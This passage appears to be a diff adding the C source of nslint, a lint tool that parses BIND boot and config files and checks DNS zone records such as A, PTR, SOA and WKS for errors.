+/* Flags */ +#define FLG_SELFMX 0x001 /* mx record refers to self */ +#define FLG_MXREF 0x002 /* this record referred to by a mx record */ +#define FLG_SMTPWKS 0x004 /* saw wks with smtp/tcp */ +#define FLG_ALLOWDUPA 0x008 /* allow duplicate a records */ + +/* doconf() and doboot() flags */ +#define CONF_MUSTEXIST 0x001 /* fatal for files to not exist */ +#define CONF_NOZONE 0x002 /* do not parse zone files */ + +/* Test for smtp problems */ +#define MASK_TEST_SMTP \ + (FLG_SELFMX | FLG_SMTPWKS) + +#define ITEMSIZE (1 << 17) /* power of two */ + +struct item items[ITEMSIZE]; +int itemcnt; /* count of items */ + +/* Hostname string storage */ +#define STRSIZE 8192; /* size to malloc when more space is needed */ +char *strptr; /* pointer to string pool */ +int strsize; /* size of space left in pool */ + +int debug; +int errors; +#ifdef __FreeBSD__ +char *bootfile = "/etc/namedb/named.boot"; +char *conffile = "/etc/namedb/named.conf"; +#else +char *bootfile = "/etc/named.boot"; +char *conffile = "/etc/named.conf"; +#endif +char *nslintboot; +char *nslintconf; +char *prog; +char *cwd = "."; + +char **protoserv; /* valid protocol/service names */ +int protoserv_init; +int protoserv_last; +int protoserv_len; + +static char inaddr[] = ".in-addr.arpa."; + +/* XXX should be dynamic */ +static struct ignoredzone ignoredzones[10]; +static int numignoredzones = 0; +#define SIZEIGNOREDZONES (sizeof(ignoredzones) / sizeof(ignoredzones[0])) + +/* SOA record */ +#define SOA_SERIAL 0 +#define SOA_REFRESH 1 +#define SOA_RETRY 2 +#define SOA_EXPIRE 3 +#define SOA_MINIMUM 4 + +static u_int soaval[5]; +static int nsoaval; +#define NSOAVAL (sizeof(soaval) / sizeof(soaval[0])) + +/* Forwards */ +void add_domain(char *, const char *); +int checkaddr(const char *); +int checkdots(const char *); +void checkdups(struct item *, int); +int checkignoredzone(const char *); +int checkserv(const char *, char **p); +int checkwks(FILE *, char *, int *, char **); +int cmpaddr(const void *, const void *); +int cmphost(const void *, const void *); +void doboot(const char *, int); +void doconf(const char *, int); +void initprotoserv(void); +char *intoa(u_int32_t); +int main(int, char **); +void nslint(void); +int parseinaddr(const char *, u_int32_t *, u_int32_t *); +int parsenetwork(const char *, char **); +u_int32_t parseptr(const char *, u_int32_t, u_int32_t, char **); +char *parsequoted(char *); +int parsesoa(const char *, char **); +void process(const char *, const char *, const char *); +int rfc1034host(const char *, int); +int updateitem(const char *, u_int32_t, int, u_int, int); +__dead void usage(void) __attribute__((volatile)); + +extern char *optarg; +extern int optind, opterr; + +int +main(int argc, char **argv) +{ + char *cp; + int op, donamedboot, donamedconf; + + if ((cp = strrchr(argv[0], '/')) != NULL) + prog = cp + 1; + else + prog = argv[0]; + + donamedboot = 0; + donamedconf = 0; + while ((op = getopt(argc, argv, "b:c:B:C:d")) != -1) + switch (op) { + + case 'b': + bootfile = optarg; + ++donamedboot; + break; + + case 'c': + conffile = optarg; + ++donamedconf; + break; + + case 'B': + nslintboot = optarg; + ++donamedboot; + break; + + case 'C': + nslintconf = optarg; + ++donamedconf; + break; + + case 'd': + ++debug; + break; + + default: + usage(); + } + if (optind != argc || (donamedboot && donamedconf)) + usage(); + + /* Find config file if not manually specified */ + if (!donamedboot && !donamedconf) { + if (access(conffile, R_OK) >= 0) + ++donamedconf; + if (access(bootfile, R_OK) >= 0) + ++donamedboot; + + if (donamedboot && donamedconf) { + fprintf(stderr, + "%s: nslint: both %s and %s exist; use -b or -c\n", + prog, conffile, bootfile); + exit(1); + } + } + + if (donamedboot) { + doboot(bootfile, CONF_MUSTEXIST | CONF_NOZONE); + if (nslintboot != NULL) + doboot(nslintboot, CONF_MUSTEXIST); + else + doboot(NSLINTBOOT, 0); + doboot(bootfile, CONF_MUSTEXIST); + } else { + doconf(conffile, CONF_MUSTEXIST | CONF_NOZONE); + if (nslintconf != NULL) + doconf(nslintconf, CONF_MUSTEXIST); + else + doconf(NSLINTCONF, 0); + doconf(conffile, CONF_MUSTEXIST); + } + + nslint(); + exit (errors != 0); +} + +struct netlist { + u_int32_t net; + u_int32_t mask; +}; + +static struct netlist *netlist; +static u_int netlistsize; /* size of array */ +static u_int netlistcnt; /* next free element */ + +static u_int32_t +findmask(u_int32_t addr) +{ + int i; + + for (i = 0; i < netlistcnt; ++i) + if ((addr & netlist[i].mask) == netlist[i].net) + return (netlist[i].mask); + return (0); +} + +int +parsenetwork(const char *cp, char **errstrp) +{ + int i, w; + u_int32_t net, mask; + u_int32_t o; + int shift; + static char errstr[132]; + + while (isspace(*cp)) + ++cp; + net = 0; + mask = 0; + shift = 24; + while (isdigit(*cp) && shift >= 0) { + o = 0; + do { + o = o * 10 + (*cp++ - '0'); + } while (isdigit(*cp)); + net |= o << shift; + shift -= 8; + if (*cp != '.') + break; + ++cp; + } + + + if (isspace(*cp)) { + ++cp; + while (isspace(*cp)) + ++cp; + mask = htonl(inet_addr(cp)); + if ((int)mask == -1) { + *errstrp = errstr; + (void)sprintf(errstr, "bad subnet mask \"%s\"", cp); + return (0); + } + i = 0; + while (isdigit(*cp)) + ++cp; + for (i = 0; i < 3 && *cp == '.'; ++i) { + ++cp; + while (isdigit(*cp)) + ++cp; + } + if (i != 3) { + *errstrp = "wrong number of dots in subnet mask"; + return (0); + } + } else if (*cp == '/') { + ++cp; + w = atoi(cp); + do { + ++cp; + } while (isdigit(*cp)); + if (w < 1 || w > 32) { + *errstrp = "bad subnet mask width"; + return (0); + } + mask = 0xffffffff << (32 - w); + } else { + *errstrp = "garbage after net"; + return (0); + } + + while (isspace(*cp)) + ++cp; + + if (*cp != '\0') { + *errstrp = "trailing garbage"; + return (0); + } + + /* Finaly sanity checks */ + if ((net & ~ mask) != 0) { + *errstrp = errstr; + (void)sprintf(errstr, "host bits set in net \"%s\"", + intoa(net)); + return (0); + } + + /* Make sure there's room */ + if (netlistsize <= netlistcnt) { + if (netlistsize == 0) { + netlistsize = 32; + netlist = (struct netlist *) + malloc(netlistsize * sizeof(*netlist)); + } else { + netlistsize <<= 1; + netlist = (struct netlist *) + realloc(netlist, netlistsize * sizeof(*netlist)); + } + if (netlist == NULL) { + fprintf(stderr, "%s: nslint: malloc/realloc: %s\n", + prog, strerror(errno)); + exit(1); + } + } + + /* Add to list */ + netlist[netlistcnt].net = net; + netlist[netlistcnt].mask = mask; + ++netlistcnt; + + return (1); +} + +void +doboot(const char *file, int flags) +{ + int n; + char *cp, *cp2; + FILE *f; + char *errstr; + char buf[1024], name[128]; + + errno = 0; + f = fopen(file, "r"); + if (f == NULL) { + /* Not an error if it doesn't exist */ + if ((flags & CONF_MUSTEXIST) == 0 && errno == ENOENT) { + if (debug > 1) + printf( + "%s: doit: %s doesn't exist (ignoring)\n", + prog, file); + return; + } + fprintf(stderr, "%s: %s: %s\n", prog, file, strerror(errno)); + exit(1); + } + if (debug > 1) + printf("%s: doit: opened %s\n", prog, file); + + n = 0; + while (fgets(buf, sizeof(buf), f) != NULL) { + ++n; + + /* Skip comments */ + if (buf[0] == ';') + continue; + cp = strchr(buf, ';'); + if (cp) + *cp = '\0'; + cp = buf + strlen(buf) - 1; + if (cp >= buf && *cp == '\n') + *cp = '\0'; + cp = buf; + + /* Eat leading whitespace */ + while (isspace(*cp)) + ++cp; + + /* Skip blank lines */ + if (*cp == '\n' || *cp == '\0') + continue; + + /* Get name */ + cp2 = cp; + while (!isspace(*cp) && *cp != '\0') + ++cp; + *cp++ = '\0'; + + /* Find next keyword */ + while (isspace(*cp)) + ++cp; + if (strcasecmp(cp2, "directory") == 0) { + /* Terminate directory */ + cp2 = cp; + while (!isspace(*cp) && *cp != '\0') + ++cp; + *cp = '\0'; + if (chdir(cp2) < 0) { + ++errors; + fprintf(stderr, "%s: can't chdir %s: %s\n", + prog, cp2, strerror(errno)); + exit(1); + } + cwd = savestr(cp2); + continue; + } + if (strcasecmp(cp2, "primary") == 0) { + /* Extract domain, converting to lowercase */ + for (cp2 = name; !isspace(*cp) && *cp != '\0'; ++cp) + if (isupper(*cp)) + *cp2++ = tolower(*cp); + else + *cp2++ = *cp; + /* Insure trailing dot */ + if (cp2 > name && cp2[-1] != '.') + *cp2++ = '.'; + *cp2 = '\0'; + + /* Find file */ + while (isspace(*cp)) + ++cp; + + /* Terminate directory */ + cp2 = cp; + while (!isspace(*cp) && *cp != '\0') + ++cp; + *cp = '\0'; + + /* Process it! (zone is the same as the domain) */ + nsoaval = -1; + memset(soaval, 0, sizeof(soaval)); + if ((flags & CONF_NOZONE) == 0) + process(cp2, name, name); + continue; + } + if (strcasecmp(cp2, "network") == 0) { + if (!parsenetwork(cp, &errstr)) { + ++errors; + fprintf(stderr, + "%s: %s:%d: bad network: %s\n", + prog, file, n, errstr); + } + continue; + } + if (strcasecmp(cp2, "include") == 0) { + /* Terminate include file */ + cp2 = cp; + while (!isspace(*cp) && *cp != '\0') + ++cp; + *cp = '\0'; + doboot(cp2, 1); + continue; + } + /* Eat any other options */ + } + (void)fclose(f); +} + +void +doconf(const char *file, int flags) +{ + int n, fd, cc, i, depth; + char *cp, *cp2, *buf; + char *name, *zonename, *filename, *typename; + int namelen, zonenamelen, filenamelen, typenamelen; + char *errstr; + struct stat sbuf; + char zone[128], includefile[256]; + + errno = 0; + fd = open(file, O_RDONLY, 0); + if (fd < 0) { + /* Not an error if it doesn't exist */ + if ((flags & CONF_MUSTEXIST) == 0 && errno == ENOENT) { + if (debug > 1) + printf( + "%s: doconf: %s doesn't exist (ignoring)\n", + prog, file); + return; + } + fprintf(stderr, "%s: %s: %s\n", prog, file, strerror(errno)); + exit(1); + } + if (debug > 1) + printf("%s: doconf: opened %s\n", prog, file); + + if (fstat(fd, &sbuf) < 0) { + fprintf(stderr, "%s: fstat(%s) %s\n", + prog, file, strerror(errno)); + exit(1); + } + buf = (char *)malloc(sbuf.st_size + 1); + if (buf == NULL) { + fprintf(stderr, "%s: malloc: %s\n", prog, strerror(errno)); + exit(1); + } + + /* Slurp entire config file */ + n = sbuf.st_size; + cp = buf; + do { + cc = read(fd, cp, n); + if (cc < 0) { + fprintf(stderr, "%s: read(%s) %s\n", + prog, file, strerror(errno)); + exit(1); + } + cp += cc; + n -= cc; + } while (cc != 0 && cc < n); + buf[cc] = '\0'; + +#define EATWHITESPACE \ + while (isspace(*cp)) { \ + if (*cp == '\n') \ + ++n; \ + ++cp; \ + } + +/* Handle both to-end-of-line and C style comments */ +#define EATCOMMENTS \ + { \ + int sawcomment; \ + do { \ + EATWHITESPACE \ + sawcomment = 0; \ + if (*cp == '#') { \ + sawcomment = 1; \ + ++cp; \ + while (*cp != '\n' && *cp != '\0') \ + ++cp; \ + } \ + else if (strncmp(cp, "//", 2) == 0) { \ + sawcomment = 1; \ + cp += 2; \ + while (*cp != '\n' && *cp != '\0') \ + ++cp; \ + } \ + else if (strncmp(cp, "/*", 2) == 0) { \ + sawcomment = 1; \ + for (cp += 2; *cp != '\0'; ++cp) { \ + if (*cp == '\n') \ + ++n; \ + else if (strncmp(cp, "*/", 2) == 0) { \ + cp += 2; \ + break; \ + } \ + } \ + } \ + } while (sawcomment); \ + } + +#define GETNAME(name, len) \ + { \ + (name) = cp; \ + (len) = 0; \ + while (!isspace(*cp) && *cp != ';' && *cp != '\0') { \ + ++(len); \ + ++cp; \ + } \ + } + +#define GETQUOTEDNAME(name, len) \ + { \ + if (*cp != '"') { \ + ++errors; \ + fprintf(stderr, "%s: %s:%d missing left quote\n", \ + prog, file, n); \ + } else \ + ++cp; \ + (name) = cp; \ + (len) = 0; \ + while (*cp != '"' && *cp != '\n' && *cp != '\0') { \ + ++(len); \ + ++cp; \ + } \ + if (*cp != '"') { \ + ++errors; \ + fprintf(stderr, "%s: %s:%d missing right quote\n", \ + prog, file, n); \ + } else \ + ++cp; \ + } + +/* Eat everything to the next semicolon, perhaps eating matching qbraces */ +#define EATSEMICOLON \ + { \ + int depth = 0; \ + while (*cp != '\0') { \ + EATCOMMENTS \ + if (*cp == ';') { \ + ++cp; \ + if (depth == 0) \ + break; \ + continue; \ + } \ + if (*cp == '{') { \ + ++depth; \ + ++cp; \ + continue; \ + } \ + if (*cp == '}') { \ + --depth; \ + ++cp; \ + continue; \ + } \ + ++cp; \ + } \ + } + +/* Eat everything to the next left qbrace */ +#define EATSLEFTBRACE \ + while (*cp != '\0') { \ + EATCOMMENTS \ + if (*cp == '{') { \ + ++cp; \ + break; \ + } \ + ++cp; \ + } + + n = 1; + zone[0] = '\0'; + cp = buf; + while (*cp != '\0') { + EATCOMMENTS + if (*cp == '\0') + break; + GETNAME(name, namelen) + if (namelen == 0) { + ++errors; + fprintf(stderr, "%s: %s:%d garbage char '%c' (1)\n", + prog, file, n, *cp); + ++cp; + continue; + } + EATCOMMENTS + if (strncasecmp(name, "options", namelen) == 0) { + EATCOMMENTS + if (*cp != '{') { + ++errors; + fprintf(stderr, + "%s: %s:%d missing left qbrace in options\n", + prog, file, n); + } else + ++cp; + EATCOMMENTS + while (*cp != '}' && *cp != '\0') { + EATCOMMENTS + GETNAME(name, namelen) + if (namelen == 0) { + ++errors; + fprintf(stderr, + "%s: %s:%d garbage char '%c' (2)\n", + prog, file, n, *cp); + ++cp; + break; + } + + /* If not the "directory" option, just eat it */ + if (strncasecmp(name, "directory", + namelen) == 0) { + EATCOMMENTS + GETQUOTEDNAME(cp2, i) + cp2[i] = '\0'; + if (chdir(cp2) < 0) { + ++errors; + fprintf(stderr, + "%s: %s:.%d can't chdir %s: %s\n", + prog, file, n, cp2, + strerror(errno)); + exit(1); + } + cwd = savestr(cp2); + } + EATSEMICOLON + EATCOMMENTS + } + ++cp; + EATCOMMENTS + if (*cp != ';') { + ++errors; + fprintf(stderr, + "%s: %s:%d missing options semi\n", + prog, file, n); + } else + ++cp; + continue; + } + if (strncasecmp(name, "zone", namelen) == 0) { + EATCOMMENTS + GETQUOTEDNAME(zonename, zonenamelen) + typename = NULL; + filename = NULL; + typenamelen = 0; + filenamelen = 0; + EATCOMMENTS + if (strncasecmp(cp, "in", 2) == 0) { + cp += 2; + EATWHITESPACE + } else if (strncasecmp(cp, "chaos", 5) == 0) { + cp += 5; + EATWHITESPACE + } + if (*cp != '{') { /* } */ + ++errors; + fprintf(stderr, + "%s: %s:%d missing left qbrace in zone\n", + prog, file, n); + continue; + } + depth = 0; + EATCOMMENTS + while (*cp != '\0') { + if (*cp == '{') { + ++cp; + ++depth; + } else if (*cp == '}') { + if (--depth <= 1) + break; + ++cp; + } + EATCOMMENTS + GETNAME(name, namelen) + if (namelen == 0) { + ++errors; + fprintf(stderr, + "%s: %s:%d garbage char '%c' (3)\n", + prog, file, n, *cp); + ++cp; + break; + } + if (strncasecmp(name, "type", + namelen) == 0) { + EATCOMMENTS + GETNAME(typename, typenamelen) + if (namelen == 0) { + ++errors; + fprintf(stderr, + "%s: %s:%d garbage char '%c' (4)\n", + prog, file, n, *cp); + ++cp; + break; + } + } else if (strncasecmp(name, "file", + namelen) == 0) { + EATCOMMENTS + GETQUOTEDNAME(filename, filenamelen) + } + /* Just ignore keywords we don't understand */ + EATSEMICOLON + EATCOMMENTS + } + /* { */ + if (*cp != '}') { + ++errors; + fprintf(stderr, + "%s: %s:%d missing zone right qbrace\n", + prog, file, n); + } else + ++cp; + if (*cp != ';') { + ++errors; + fprintf(stderr, + "%s: %s:%d missing zone semi\n", + prog, file, n); + } else + ++cp; + EATCOMMENTS + /* If we got something interesting, process it */ + if (typenamelen == 0) { + ++errors; + fprintf(stderr, "%s: missing zone type!\n", + prog); + continue; + } + if (strncasecmp(typename, "master", typenamelen) == 0) { + if (filenamelen == 0) { + ++errors; + fprintf(stderr, + "%s: missing zone filename!\n", + prog); + continue; + } + strncpy(zone, zonename, zonenamelen); + zone[zonenamelen] = '\0'; + for (cp2 = zone; *cp2 != '\0'; ++cp2) + if (isupper(*cp2)) + *cp2 = tolower(*cp2); + /* Insure trailing dot */ + if (cp2 > zone && cp2[-1] != '.') { + *cp2++ = '.'; + *cp2 = '\0'; + } + filename[filenamelen] = '\0'; + nsoaval = -1; + memset(soaval, 0, sizeof(soaval)); + if ((flags & CONF_NOZONE) == 0) + process(filename, zone, zone); + } + continue; + } + if (strncasecmp(name, "nslint", namelen) == 0) { + EATCOMMENTS + if (*cp != '{') { + ++errors; + fprintf(stderr, + "%s: %s:%d missing left qbrace in nslint\n", + prog, file, n); + } else + ++cp; + ++cp; + EATCOMMENTS + while (*cp != '}' && *cp != '\0') { + EATCOMMENTS + GETNAME(name, namelen) + if (strncasecmp(name, "network", + namelen) == 0) { + EATCOMMENTS + GETQUOTEDNAME(cp2, i) + + cp2[i] = '\0'; + if (!parsenetwork(cp2, &errstr)) { + ++errors; + fprintf(stderr, + "%s: %s:%d: bad network: %s\n", + prog, file, n, errstr); + } + } else if (strncasecmp(name, "ignorezone", + namelen) == 0) { + EATCOMMENTS + GETQUOTEDNAME(cp2, i) + cp2[i] = '\0'; + if (numignoredzones + 1 < + sizeof(ignoredzones) / + sizeof(ignoredzones[0])) { + ignoredzones[numignoredzones].zone = + savestr(cp2); + if (ignoredzones[numignoredzones].zone != NULL) { + ignoredzones[numignoredzones].len = strlen(cp2); + ++numignoredzones; + } + } + } else { + ++errors; + fprintf(stderr, + "%s: unknown nslint \"%.*s\"\n", + prog, namelen, name); + } + EATSEMICOLON + EATCOMMENTS + } + ++cp; + EATCOMMENTS + if (*cp != ';') { + ++errors; + fprintf(stderr, + "%s: %s:%d: missing nslint semi\n", + prog, file, n); + } else + ++cp; + continue; + } + if (strncasecmp(name, "include", namelen) == 0) { + EATCOMMENTS + GETQUOTEDNAME(filename, filenamelen) + strncpy(includefile, filename, filenamelen); + includefile[filenamelen] = '\0'; + doconf(includefile, 1); + EATSEMICOLON + continue; + } + if (strncasecmp(name, "view", namelen) == 0) { + EATSLEFTBRACE + continue; + } + + /* Skip over statements we don't understand */ + EATSEMICOLON + } + + free(buf); + close(fd); +} + +/* Return true when done */ +int +parsesoa(const char *cp, char **errstrp) +{ + char ch, *garbage; + static char errstr[132]; + + /* Eat leading whitespace */ + while (isspace(*cp)) + ++cp; + + /* Find opening paren */ + if (nsoaval < 0) { + cp = strchr(cp, '('); + if (cp == NULL) + return (0); + ++cp; + while (isspace(*cp)) + ++cp; + nsoaval = 0; + } + + /* Grab any numbers we find */ + garbage = "leading garbage"; + while (isdigit(*cp) && nsoaval < NSOAVAL) { + soaval[nsoaval] = atoi(cp); + do { + ++cp; + } while (isdigit(*cp)); + if (nsoaval == SOA_SERIAL && *cp == '.' && isdigit(cp[1])) { + do { + ++cp; + } while (isdigit(*cp)); + } else { + ch = *cp; + if (isupper(ch)) + ch = tolower(ch); + switch (ch) { + + case 'w': + soaval[nsoaval] *= 7; + /* fall through */ + + case 'd': + soaval[nsoaval] *= 24; + /* fall through */ + + case 'h': + soaval[nsoaval] *= 60; + /* fall through */ + + case 'm': + soaval[nsoaval] *= 60; + /* fall through */ + + case 's': + ++cp; + break; + + default: + ; /* none */ + } + } + while (isspace(*cp)) + ++cp; + garbage = "trailing garbage"; + ++nsoaval; + } + + /* If we're done, do some sanity checks */ + if (nsoaval >= NSOAVAL && *cp == ')') { + ++cp; + if (*cp != '\0') + *errstrp = garbage; + else if (soaval[SOA_EXPIRE] < + soaval[SOA_REFRESH] + 10 * soaval[SOA_RETRY]) { + (void)sprintf(errstr, + "expire less than refresh + 10 * retry (%u < %u + 10 * %u)", + soaval[SOA_EXPIRE], + soaval[SOA_REFRESH], + soaval[SOA_RETRY]); + *errstrp = errstr; + } else if (soaval[SOA_REFRESH] < 2 * soaval[SOA_RETRY]) { + (void)sprintf(errstr, + "refresh less than 2 * retry (%u < 2 * %u)", + soaval[SOA_REFRESH], + soaval[SOA_RETRY]); + *errstrp = errstr; + } + return (1); + } + + if (*cp != '\0') { + *errstrp = garbage; + return (1); + } + + return (0); +} + +void +process(const char *file, const char *domain, const char *zone) +{ + FILE *f; + char ch, *cp, *cp2, *cp3, *rtype; + const char *ccp; + int n, sawsoa, flags, i; + u_int ttl; + u_int32_t addr; + u_int32_t net, mask; + int smtp; + char buf[1024], name[128], lastname[128], odomain[128]; + char *errstr; + const char *addrfmt = + "%s: %s/%s:%d \"%s\" target is an ip address: %s\n"; + const char *dotfmt = + "%s: %s/%s:%d \"%s\" target missing trailing dot: %s\n"; + + /* Check for an "ignored zone" (usually dynamic dns) */ + if (checkignoredzone(zone)) + return; + + f = fopen(file, "r"); + if (f == NULL) { + fprintf(stderr, "%s: %s/%s: %s\n", + prog, cwd, file, strerror(errno)); + ++errors; + return; + } + if (debug > 1) + printf("%s: process: opened %s/%s\n", prog, cwd, file); + + /* Are we doing an in-addr.arpa domain? */ + n = 0; + net = 0; + mask = 0; + ccp = domain + strlen(domain) - sizeof(inaddr) + 1; + if (ccp >= domain && strcasecmp(ccp, inaddr) == 0 && + !parseinaddr(domain, &net, &mask)) { + ++errors; + fprintf(stderr, "%s: %s/%s:%d bad in-addr.arpa domain\n", + prog, cwd, file, n); + return; + } + + lastname[0] = '\0'; + sawsoa = 0; + while (fgets(buf, sizeof(buf), f) != NULL) { + ++n; + cp = buf; + while (*cp != '\0') { + /* Handle quoted strings (but don't report errors) */ + if (*cp == '"') { + ++cp; + while (*cp != '"' && *cp != '\n' && *cp != '\0') + ++cp; + continue; + } + if (*cp == '\n' || *cp == ';') + break; + ++cp; + } + *cp-- = '\0'; + + /* Nuke trailing white space */ + while (cp >= buf && isspace(*cp)) + *cp-- = '\0'; + + cp = buf; + if (*cp == '\0') + continue; + + /* Handle multi-line soa records */ + if (sawsoa) { + errstr = NULL; + if (parsesoa(cp, &errstr)) + sawsoa = 0; + if (errstr != NULL) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d bad \"soa\" record (%s)\n", + prog, cwd, file, n, errstr); + } + continue; + } + if (debug > 3) + printf(">%s<\n", cp); + + /* Look for name */ + if (isspace(*cp)) { + /* Same name as last record */ + if (lastname[0] == '\0') { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d no default name\n", + prog, cwd, file, n); + continue; + } + (void)strcpy(name, lastname); + } else { + /* Extract name, converting to lowercase */ + for (cp2 = name; !isspace(*cp) && *cp != '\0'; ++cp) + if (isupper(*cp)) + *cp2++ = tolower(*cp); + else + *cp2++ = *cp; + *cp2 = '\0'; + + /* Check for domain shorthand */ + if (name[0] == '@' && name[1] == '\0') + (void)strcpy(name, domain); + } + + /* Find next token */ + while (isspace(*cp)) + ++cp; + + /* Handle includes (gag) */ + if (name[0] == '$' && strcasecmp(name, "$include") == 0) { + /* Extract filename */ + cp2 = name; + while (!isspace(*cp) && *cp != '\0') + *cp2++ = *cp++; + *cp2 = '\0'; + + /* Look for optional domain */ + while (isspace(*cp)) + ++cp; + if (*cp == '\0') + process(name, domain, zone); + else { + cp2 = cp; + /* Convert optional domain to lowercase */ + for (; !isspace(*cp) && *cp != '\0'; ++cp) + if (isupper(*cp)) + *cp = tolower(*cp); + *cp = '\0'; + process(name, cp2, cp2); + } + continue; + } + + /* Handle $origin */ + if (name[0] == '$' && strcasecmp(name, "$origin") == 0) { + /* Extract domain, converting to lowercase */ + for (cp2 = odomain; !isspace(*cp) && *cp != '\0'; ++cp) + if (isupper(*cp)) + *cp2++ = tolower(*cp); + else + *cp2++ = *cp; + *cp2 = '\0'; + domain = odomain; + lastname[0] = '\0'; + + /* Are we doing an in-addr.arpa domain? */ + net = 0; + mask = 0; + ccp = domain + strlen(domain) - (sizeof(inaddr) - 1); + if (ccp >= domain && strcasecmp(ccp, inaddr) == 0 && + !parseinaddr(domain, &net, &mask)) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d bad in-addr.arpa domain\n", + prog, cwd, file, n); + return; + } + continue; + } + + /* Handle ttl */ + if (name[0] == '$' && strcasecmp(name, "$ttl") == 0) { + cp2 = cp; + while (isdigit(*cp)) + ++cp; + ch = *cp; + if (isupper(ch)) + ch = tolower(ch); + if (strchr("wdhms", ch) != NULL) + ++cp; + while (isspace(*cp)) + ++cp; + if (*cp != '\0') { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d bad $ttl \"%s\"\n", + prog, cwd, file, n, cp2); + } + (void)strcpy(name, lastname); + continue; + } + + /* Parse ttl or use default */ + if (isdigit(*cp)) { + ttl = atoi(cp); + do { + ++cp; + } while (isdigit(*cp)); + + ch = *cp; + if (isupper(ch)) + ch = tolower(ch); + switch (ch) { + + case 'w': + ttl *= 7; + /* fall through */ + + case 'd': + ttl *= 24; + /* fall through */ + + case 'h': + ttl *= 60; + /* fall through */ + + case 'm': + ttl *= 60; + /* fall through */ + + case 's': + ++cp; + break; + + default: + ; /* none */ + } + + + if (!isspace(*cp)) { + ++errors; + fprintf(stderr, "%s: %s/%s:%d bad ttl\n", + prog, cwd, file, n); + continue; + } + + /* Find next token */ + ++cp; + while (isspace(*cp)) + ++cp; + } else + ttl = soaval[SOA_MINIMUM]; + + /* Eat optional "in" */ + if ((cp[0] == 'i' || cp[0] == 'I') && + (cp[1] == 'n' || cp[1] == 'N') && isspace(cp[2])) { + /* Find next token */ + cp += 3; + while (isspace(*cp)) + ++cp; + } else if ((cp[0] == 'c' || cp[0] == 'C') && + isspace(cp[5]) && strncasecmp(cp, "chaos", 5) == 0) { + /* Find next token */ + cp += 5; + while (isspace(*cp)) + ++cp; + } + + /* Find end of record type, converting to lowercase */ + rtype = cp; + for (rtype = cp; !isspace(*cp) && *cp != '\0'; ++cp) + if (isupper(*cp)) + *cp = tolower(*cp); + *cp++ = '\0'; + + /* Find "the rest" */ + while (isspace(*cp)) + ++cp; + + /* Check for non-ptr names with dots but no trailing dot */ + if (!isdigit(*name) && + checkdots(name) && strcmp(domain, ".") != 0) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"%s\" name missing trailing dot: %s\n", + prog, cwd, file, n, rtype, name); + } + + /* Check for FQDNs outside the zone */ + cp2 = name + strlen(name) - 1; + if (cp2 >= name && *cp2 == '.' && strchr(name, '.') != NULL) { + cp2 = name + strlen(name) - strlen(zone); + if (cp2 >= name && strcasecmp(cp2, zone) != 0) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"%s\" outside zone %s\n", + prog, cwd, file, n, name, zone); + } + } + +#define CHECK4(p, a, b, c, d) \ + (p[0] == (a) && p[1] == (b) && p[2] == (c) && p[3] == (d) && p[4] == '\0') +#define CHECK3(p, a, b, c) \ + (p[0] == (a) && p[1] == (b) && p[2] == (c) && p[3] == '\0') +#define CHECK2(p, a, b) \ + (p[0] == (a) && p[1] == (b) && p[2] == '\0') +#define CHECKDOT(p) \ + (p[0] == '.' && p[1] == '\0') + + if (rtype[0] == 'a' && rtype[1] == '\0') { + /* Handle "a" record */ + add_domain(name, domain); + addr = htonl(inet_addr(cp)); + if ((int)addr == -1) { + ++errors; + cp2 = cp + strlen(cp) - 1; + if (cp2 >= cp && *cp2 == '\n') + *cp2 = '\0'; + fprintf(stderr, + "%s: %s/%s:%d bad \"a\" record ip addr \"%s\"\n", + prog, cwd, file, n, cp); + continue; + } + errors += updateitem(name, addr, REC_A, ttl, 0); + } else if (CHECK4(rtype, 'a', 'a', 'a', 'a')) { + /* Just eat for now */ + continue; + } else if (CHECK3(rtype, 'p', 't', 'r')) { + /* Handle "ptr" record */ + add_domain(name, domain); + if (strcmp(cp, "@") == 0) + (void)strcpy(cp, zone); + if (checkdots(cp)) { + ++errors; + fprintf(stderr, + checkaddr(cp) ? addrfmt : dotfmt, + prog, cwd, file, n, rtype, cp); + } + add_domain(cp, domain); + errstr = NULL; + addr = parseptr(name, net, mask, &errstr); + if (errstr != NULL) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d bad \"ptr\" record (%s) ip addr \"%s\"\n", + prog, cwd, file, n, errstr, name); + continue; + } + errors += updateitem(cp, addr, REC_PTR, 0, 0); + } else if (CHECK3(rtype, 's', 'o', 'a')) { + /* Handle "soa" record */ + if (!CHECKDOT(name)) { + add_domain(name, domain); + errors += updateitem(name, 0, REC_SOA, 0, 0); + } + errstr = NULL; + if (!parsesoa(cp, &errstr)) + ++sawsoa; + if (errstr != NULL) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d bad \"soa\" record (%s)\n", + prog, cwd, file, n, errstr); + continue; + } + } else if (CHECK3(rtype, 'w', 'k', 's')) { + /* Handle "wks" record */ + addr = htonl(inet_addr(cp)); + if ((int)addr == -1) { + ++errors; + cp2 = cp; + while (!isspace(*cp2) && *cp2 != '\0') + ++cp2; + *cp2 = '\0'; + fprintf(stderr, + "%s: %s/%s:%d bad \"wks\" record ip addr \"%s\"\n", + prog, cwd, file, n, cp); + continue; + } + /* Step over ip address */ + while (*cp == '.' || isdigit(*cp)) + ++cp; + while (isspace(*cp)) + *cp++ = '\0'; + /* Make sure services are legit */ + errstr = NULL; + n += checkwks(f, cp, &smtp, &errstr); + if (errstr != NULL) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d bad \"wks\" record (%s)\n", + prog, cwd, file, n, errstr); + continue; + } + add_domain(name, domain); + errors += updateitem(name, addr, REC_WKS, + 0, smtp ? FLG_SMTPWKS : 0); + /* XXX check to see if ip address records exists? */ + } else if (rtype[0] == 'h' && strcmp(rtype, "hinfo") == 0) { + /* Handle "hinfo" record */ + add_domain(name, domain); + errors += updateitem(name, 0, REC_HINFO, 0, 0); + cp2 = cp; + cp = parsequoted(cp); + if (cp == NULL) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"hinfo\" missing quote: %s\n", + prog, cwd, file, n, cp2); + continue; + } + if (!isspace(*cp)) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"hinfo\" missing white space: %s\n", + prog, cwd, file, n, cp2); + continue; + } + ++cp; + while (isspace(*cp)) + ++cp; + if (*cp == '\0') { + ++errors; + fprintf(stderr, + "%s: 